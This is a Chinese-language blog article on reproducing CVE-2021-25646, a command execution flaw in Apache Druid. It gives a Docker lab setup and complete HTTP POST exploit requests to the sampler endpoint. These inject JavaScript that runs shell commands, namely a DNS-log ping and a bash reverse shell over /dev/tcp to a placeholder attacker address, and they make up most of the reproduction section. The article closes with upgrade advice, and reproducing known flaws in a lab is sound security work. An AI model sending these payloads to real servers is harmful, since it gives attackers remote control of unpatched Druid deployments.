Apache Druid 命令执行漏洞CVE-2021-25646该如何复现

本篇文章给大家分享的是有关Apache Druid 命令执行漏洞CVE-2021-25646该如何复现,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

Apache Druid 命令执行漏洞(CVE-2021-25646)

一、漏洞描述

Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器

二、影响版本

Apache Druid < 0.20.1

三、漏洞环境&漏洞复现

Docker环境:

dockerpull fokkodriesprong/docker-druid dockerrun --rm -i -p 8888:8888 fokkodriesprong/docker-druid

启动访问:

Apache Druid 命令执行漏洞CVE-2021-25646该如何复现

漏洞复现:

POC:

POST /druid/indexer/v1/sampler HTTP/1.1
Host: ip:prot
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1045
Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{/"isRobot/":true,/"channel/":/"#x/",/"timestamp/":/"2020-12-12T12:10:21.040Z/",/"flags/":/"x/",/"isUnpatrolled/":false,/"page/":/"1/",/"diffUrl/":/"https://xxx.com/",/"added/":1,/"comment/":/"Botskapande Indonesien omdirigering/",/"commentLength/":35,/"isNew/":true,/"isMinor/":false,/"delta/":31,/"isAnonymous/":true,/"user/":/"Lsjbot/",/"deltaBucket/":0,/"deleted/":0,/"namespace/":/"Main/"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

1、DNSlog:

Apache Druid 命令执行漏洞CVE-2021-25646该如何复现

DNS记录:

Apache Druid 命令执行漏洞CVE-2021-25646该如何复现

具体数据包:

POST /druid/indexer/v1/sampler HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1018
Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{/"isRobot/":true,/"channel/":/"#x/",/"timestamp/":/"2020-12-12T12:10:21.040Z/",/"flags/":/"x/",/"isUnpatrolled/":false,/"page/":/"1/",/"diffUrl/":/"https://xxx.com/",/"added/":1,/"comment/":/"Botskapande Indonesien omdirigering/",/"commentLength/":35,/"isNew/":true,/"isMinor/":false,/"delta/":31,/"isAnonymous/":true,/"user/":/"Lsjbot/",/"deltaBucket/":0,/"deleted/":0,/"namespace/":/"Main/"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 ping gpg7qd.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

2、反弹shell操作

Apache Druid 命令执行漏洞CVE-2021-25646该如何复现

具体数据包:

POST /druid/indexer/v1/sampler HTTP/1.1
Host: ip:prot
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1045
Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{/"isRobot/":true,/"channel/":/"#x/",/"timestamp/":/"2020-12-12T12:10:21.040Z/",/"flags/":/"x/",/"isUnpatrolled/":false,/"page/":/"1/",/"diffUrl/":/"https://xxx.com/",/"added/":1,/"comment/":/"Botskapande Indonesien omdirigering/",/"commentLength/":35,/"isNew/":true,/"isMinor/":false,/"delta/":31,/"isAnonymous/":true,/"user/":/"Lsjbot/",/"deltaBucket/":0,/"deleted/":0,/"namespace/":/"Main/"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

简单的反弹脚本:

Apache Druid 命令执行漏洞CVE-2021-25646该如何复现

四、安全建议

建议广大用户及时更新Apache Druid,下载链接为:

https://druid.apache.org/downloads.html

https://github.com/apache/druid/releases/tag/druid-0.20.1

以上就是Apache Druid 命令执行漏洞CVE-2021-25646该如何复现,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。

原创文章,作者:kepupublish,如若转载,请注明出处:https://blog.ytso.com/220336.html

(0)
上一篇 2022年1月2日
下一篇 2022年1月2日

相关推荐

发表回复

登录后才能评论